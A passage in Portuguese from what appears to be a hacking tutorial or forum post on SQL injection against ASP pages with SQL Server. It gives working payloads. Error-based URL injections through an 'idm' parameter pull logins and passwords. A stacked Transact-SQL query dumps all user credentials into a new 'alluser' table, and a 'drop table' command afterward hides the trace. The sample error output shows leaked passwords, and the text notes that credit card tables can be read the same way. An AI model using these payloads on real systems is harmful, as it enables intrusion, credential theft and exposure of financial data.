dessa vez devidamente registrado.Obviamente, isso nao se restringe a tabelas de usuarios. Serve para qualquer tabela no site, como materias, enquetes, colunas e ate mesmo alguma tabela que guarde dados financeiros como cartoes de credito ou outras coisas.Uma tecnica boa para descobrir o conteudo dos campos e atribuindo um campo texto a um campo numerico. Por exemplo, vamos supor que o site em um determinado momento, se referencie a uma materia dentro dele por um codigo numerico, do tipo idm=432. Daa, podemos descobrir um usuario fazendo o seguinte esquema na URL:http://www.siteemasp.tld/pagina.asp?idm=(select min(login) from usuarios) O erro retornado sera assim:Codigo: Selecionar tudo Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value anderson to a column of data type int. /arquivo.asp, line 94Ou seja, sabemos que o menor login (na ordem alfabetica) e Anderson. Isso acontece dessa forma direta, pois dentro do SQL a comparacao de numeros nao pode ter aspas simples, e o campo pode ser comparado com uma nova string sql, desde que entre parenteses.Agora, podemos tambem descobrir sua senha, dessa forma:Codigo: Selecionar tudo www.siteemasp.tld/pagina.asp?idm=(select senha from usuarios where login=anderson) Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 14quatorze to a column of data type int. /arquivo.asp, line 94Agora sabemos um usuario e uma senha real do site. Claro que se a senha do Anderson fosse numerica, o que aconteceria era aparecer uma materia qualquer, mas bastaria pegar o ID da materia, em algum lugar do codigo fonte, ou ate mesmo na barra de enderecos (caso ela mudasse), e saberemos a senha dele, do mesmo jeito.Uma outra situacao, porem bem mais complexa e avancada, e a criacao de SQL Transactions, que nada mais e do que um pequeno script que roda dentro do SQL e retorna uma resposta programada.A seguinte linha, manda que seja criada uma Transact SQL concatenando todos os usuarios e senha da tabela, e retornando em uma mensagem.Codigo: Selecionar tudo Usuario: ; begin declare @ret varchar(8000) set @ret=: select @ret=@ret+ +login+/+senha from usuarios where login>@ret select @ret as ret into alluser end Depois de enviado, isso cria uma tabela chamada alluser com um campo nomeado como ret, que contem um unico registro com todos os logins e senhas concatenados.Para ver o resultado disso, basta executar a url de materias, dessa vez selecionando esse campo da nova tabela:Codigo: Selecionar tudo www.siteemasp.tld/pagina.asp?idm=(select ret from alluser) O retorno sera alguma coisa desse tipo:Codigo: Selecionar tudo Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value : atadmin/umasenha user3/abcd anderson/14quatorze to a column of data type int. /arquivo.asp, line 94Depois de ver os dados da nova tabela, apague-a:Codigo: Selecionar tudo Usuario: ; drop table alluser Captaram a mensagem? Isto e quase tudo que se pode fazer com o SQL Server, quando mau programado dentro de uma ASP. Existem pessoas que acham que simplesmente limitando o tamanho de um campo dentro do formulario, ja estao se prevenindo de selects e outros comandos mais. Imaginemos